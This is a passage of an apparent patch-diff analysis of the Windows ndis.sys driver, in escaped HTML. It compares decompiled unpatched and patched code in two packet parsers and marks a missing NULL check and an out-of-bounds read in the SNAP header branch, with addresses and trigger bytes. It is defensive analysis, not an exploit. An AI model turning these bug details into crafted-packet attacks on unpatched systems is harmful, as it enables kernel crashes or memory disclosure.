&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Decompilation Diff&lt;/h2&gt;
&lt;h3&gt;Finding 1: Parser (&lt;code&gt;ndisParseReceivedNBL&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Unpatched (&lt;code&gt;ndis_unpatched.sys&lt;/code&gt;, &lt;code&gt;0x1C006E370&lt;/code&gt;), 802.3 path:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;FirstNetBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FirstNetBuffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FirstNetBuffer&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// no NULL check&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xE&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CurrentMdlOffset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FirstNetBuffer&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentMdlOffset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;CurrentMdlOffset&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;CurrentMdlOffset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// remaining only checked &amp;gt;= 0xE&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;MappedSystemVa&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;CurrentMdlOffset&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// OOB: reads data offset 0x14 with only remaining &amp;gt;= 0xE guaranteed&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched (&lt;code&gt;ndis_patched.sys&lt;/code&gt;, &lt;code&gt;0x1C00141EC&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;FirstNetBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FirstNetBuffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FirstNetBuffer&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// FIX 1: added NULL guard&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdlOffset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// FIX 2: require remaining &amp;gt;= 0x16 before the SNAP read&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_24&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// data offset 0x14, now reached only when safe&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note: the 802.1Q VLAN branch (&lt;code&gt;v17 == 0x8100&lt;/code&gt;) already re-validated &lt;code&gt;ByteCount &amp;gt;= 0x12&lt;/code&gt; and &lt;code&gt;remaining &amp;gt;= 0x12&lt;/code&gt; before its offset-0x10 read in both builds; only the SNAP branch lacked the corresponding size check.&lt;/p&gt;
&lt;h3&gt;Finding 3: NBL-sort parser (&lt;code&gt;ndisSortNetBufferLists&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Unpatched (&lt;code&gt;ndis_unpatched.sys&lt;/code&gt;, &lt;code&gt;0x1C0012960&lt;/code&gt;), SNAP branch:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FirstNetBuffer&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// no NULL check&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xE&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdlOffset&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdlOffset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// remaining only checked &amp;gt;= 0xE&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;protocol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// OOB: reads data offset 0x14 with only remaining &amp;gt;= 0xE guaranteed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched (&lt;code&gt;ndis_patched.sys&lt;/code&gt;, &lt;code&gt;0x1C0012B00&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FirstNetBuffer&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// FIX 1: added NULL guard&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdlOffset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// FIX 2: require remaining &amp;gt;= 0x16 before the SNAP read&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 